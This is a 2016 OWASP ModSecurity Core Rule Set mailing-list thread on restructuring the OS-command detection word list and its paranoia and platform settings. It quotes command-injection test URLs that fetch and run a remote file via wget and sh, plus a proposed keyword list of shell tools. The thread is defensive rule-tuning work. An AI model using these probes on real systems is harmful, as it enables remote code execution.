Hello, That is a smart move. It allows us to eliminate all "file splitting" tasks out of the paranoia mode project. Simplifies things a lot.
@Chaim want to start a TODO file in the top folder of the CRS? Ahoj, Christian On Wed, Feb 17, 2016 at 09:05:52PM +0100, Franziska Buehler wrote: > Hi, > > I also like the idea of splitting the file. Perhaps we even need multiple > files. > Walter has a lot of good thougts! > This task doesn't seem to be very easy and some testing will be necessary. > So I think we have to decide later, outside of this little project, > and we should move on to the first pull request. > > Regards, > Franziska > > 2016-02-15 5:07 GMT+01:00 Chaim Sanders <csand...@trustwave.com>: > > For the record I think this is a good idea but perhaps outside the scope a > > bit of the initial RC release. Christian, I suggest we add this to the > > To-do for 3.1. Thoughts? > > > > On 2/12/16, 4:17 PM, > > "owasp-modsecurity-core-rule-set-boun...@lists.owasp.org on behalf of > > Christian Folini" <owasp-modsecurity-core-rule-set-boun...@lists.owasp.org > > on behalf of christian.fol...@netnea.com> wrote: > > > >>Hi there, > >> > >>There has not been any additional feedback in this thread, but I think > >>the question is not settled as of this writing. > >> > >>Thoughts? > >> > >>Regs, > >> > >>Christian > >> > >>On Sun, Feb 07, 2016 at 08:55:30PM +0100, Christian Folini wrote: > >>> Hi there, > >>> > >>> On Sat, Feb 06, 2016 at 11:04:00PM +0100, Walter Hop wrote: > >>> > I like the idea of splitting the file. > >>> > >>> Cool. > >>> > >>> > I agree some of the words in os-commands.data seem rather paranoid. > >>>Words like "choice", "help", "now² seem of low value and are common in > >>>natural text. Also, the large number of Unix-only environments could > >>>skip Windows related commands. It¹s hard for users to modify these lists > >>>as you¹d have to hack the CRS, and these huge collections are to > >>>maintain anyhow, so I agree we need granularity. > >>> > >>> Good point. > >>> > >>> > The rule has some regexp magic to prevent false positives, but the > >>>balance is not a complete success in my opinion. For instance, the > >>>following URLs don't trigger in CRSv3: > >>> > http://vuln/?cmd=wget%20http://example.com/blah.txt > >>> > http://vuln/?cmd=sh%20blah.txt > >>> > > >>> > So it's not as strong as you would want either to prevent some common > >>>RCE. > >>> > Something like http://vuln/?cmd=Wget%20http://example.com/;%20ecHo > >>>does trigger it. > >>> > >>> I see. Good observations. > >>> > >>> > 1) I think that a user should check their desired platforms in the > >>>setup conf. In fact, this would be great to do anyway in the initial > >>>3.0.0 release even if we DON'T look at it in any rule yet. Specifying > >>>platform types will pave the way for reducing false positives and false > >>>negatives by skipping unnecessary checks and being more strict on the > >>>right platforms. So we could start by listing these platforms in the > >>>existing rule in the setup conf. Example: > >>> > > >>> > SecAction \ > >>> > "id:'900024', \ > >>> > phase:1, \ > >>> > t:none, \ > >>> > setvar:tx.unix=1, \ > >>> > setvar:tx.windows=1, \ > >>> > setvar:tx.java=1, \ > >>> > setvar:tx.php=1, \ > >>> > >>> That makes a lot of sense. At first sight. > >>> > >>> I think that a default install should come with these rulesets > >>> all enabled and a sysadmin can then switch them of if we is aware that > >>> there is no php in his service. > >>> > >>> So given the following two scenarios > >>> #1 - Newbie sysadmin installs ModSec and runs into a lot of false > >>>positives > >>> because he does not disable unneeded rulesets > >>> #2 - Newbie sysadmin installs ModSec and is p0wned because he does not > >>>enable > >>> the php protection > >>> I strongly favour #1. > >>> > >>> A vanilla install of the core rules should give you a full coverage for > >>>all > >>> types of services and a decent security level. Reducing false positives > >>>by > >>> omitting certain rules (ideally rules which provide no value for your > >>>setup) > >>> is the very idea of tuning. > >>> Reducing the initial number of false positives by moving certain rules > >>> with a worse relationsship between added security and false positives, > >>> that is the idea of the paranoia mode. > >>> > >>> Chaim stated in a different message, that the rules are now organised > >>> into files aimed at certain environments. So switching them off is > >>> fairly easy. And there are the tags on top of it. > >>> So you have tag:'language-PHP' and setting SecRuleRemoveByTag will > >>> disable them all very easily. > >>> > >>> So I think, we do not need these variables. > >>> > >>> > (By the way: I think it¹s unfortunate that a user has to use value 1 > >>>to enable a check. An undefined variable will mean that the CRS will > >>>skip some rules. This makes it dangerous to introduce a new variable in > >>>the CRS later; all existing installations MUST then add this variable to > >>>their setup rule immediately, or suffer from reduced security. It¹s > >>>better to use a scheme that defaults to ³on². A convention like > >>>³tx.disable_mysql=1² would be user unfriendly and error-prone. But we > >>>could check for an explicit ³off² string, e.g. ³setvar:tx.mysql=off². If > >>>it¹s not ³off² then assume that the user DOES want the check. I think > >>>it¹s important to get this right in 3.0.0, it will be more painful to do > >>>it later.) > >>> > >>> That's a very good observation. I had a similar idea once. > >>> > >>> In programming, you usually start with a default value and then > >>> the users overrides the default value. If he wants to. > >>> > >>> I am not sure how modsecurity_crs_10_setup.conf.example is going to > >>> be transformed to work seamlessly with 3.0. But this makes the > >>> setting of default values a bit tricky. > >>> > >>> Maybe a file REQUEST-02-DEFAULTS.conf could set default values > >>> if certain variables are not set. > >>> > >>> > 2) Separate the words into multiple lists: > >>> > os-commands-critical.data (absolute red flag list: "curl", "passwd", > >>>"sh", "uname", "wget" etc.) > >>> > os-commands-paranoid.data (absolute low value, but high FP natural > >>>words like "choice") > >>> > os-commands-windows.data (all Windows commands) > >>> > os-commands-common.data (all other commands) > >>> > >>> Makes some sense. Too granular is difficult and you mix various > >>> grouping criteria (criticality, paranoia, os), which makes is a > >>> bit hard to follow. > >>> > >>> Other opinions? > >>> > >>> > 3) Review the current regexp against some test data and CRSv2 to make > >>>it more sensitive > >>> > >>> Good plan. Maybe this could be done in a separate pull request. > >>> I am afraid to overload the paranoia mode pull request... > >>> > >>> Ahoj, > >>> > >>> Christian > >>> > >>> > >>> -- > >>> In war you will generally find that the enemy has at any time > >>> three courses of action open to him. Of those three, he will > >>> invariably choose the fourth. > >>> -- Helmuth Von Moltke > >>> _______________________________________________ > >>> Owasp-modsecurity-core-rule-set mailing list > >>> Owasp-modsecurity-core-rule-set@lists.owasp.org > >>> > >>>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meOIn > >>>uYrNabyug&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2f > >>>owasp-modsecurity-core-rule-set > >> > >>-- > >>mailto:christian.fol...@netnea.com > >>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meOInu > >>N-aaCptw&s=5&u=http%3a%2f%2fwww%2echristian-folini%2ech > >>twitter: @ChrFolini > >>_______________________________________________ > >>Owasp-modsecurity-core-rule-set mailing list > >>Owasp-modsecurity-core-rule-set@lists.owasp.org > >>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meOInu > >>YrNabyug&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2fow > >>asp-modsecurity-core-rule-set > > > > > > ________________________________ > > > > This transmission may contain information that is privileged, confidential, > > and/or exempt from disclosure under applicable law. If you are not the > > intended recipient, you are hereby notified that any disclosure, copying, > > distribution, or use of the information contained herein (including any > > reliance thereon) is strictly prohibited. If you received this transmission > > in error, please immediately contact the sender and destroy the material in > > its entirety, whether in electronic or hard copy format. > > _______________________________________________ > > Owasp-modsecurity-core-rule-set mailing list > > Owasp-modsecurity-core-rule-set@lists.owasp.org > > https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core-rule-set > _______________________________________________ > Owasp-modsecurity-core-rule-set mailing list > Owasp-modsecurity-core-rule-set@lists.owasp.org > https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core-rule-set -- mailto:christian.fol...@netnea.com http://www.christian-folini.ch twitter: @ChrFolini _______________________________________________ Owasp-modsecurity-core-rule-set mailing list Owasp-modsecurity-core-rule-set@lists.owasp.org https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core-rule-set
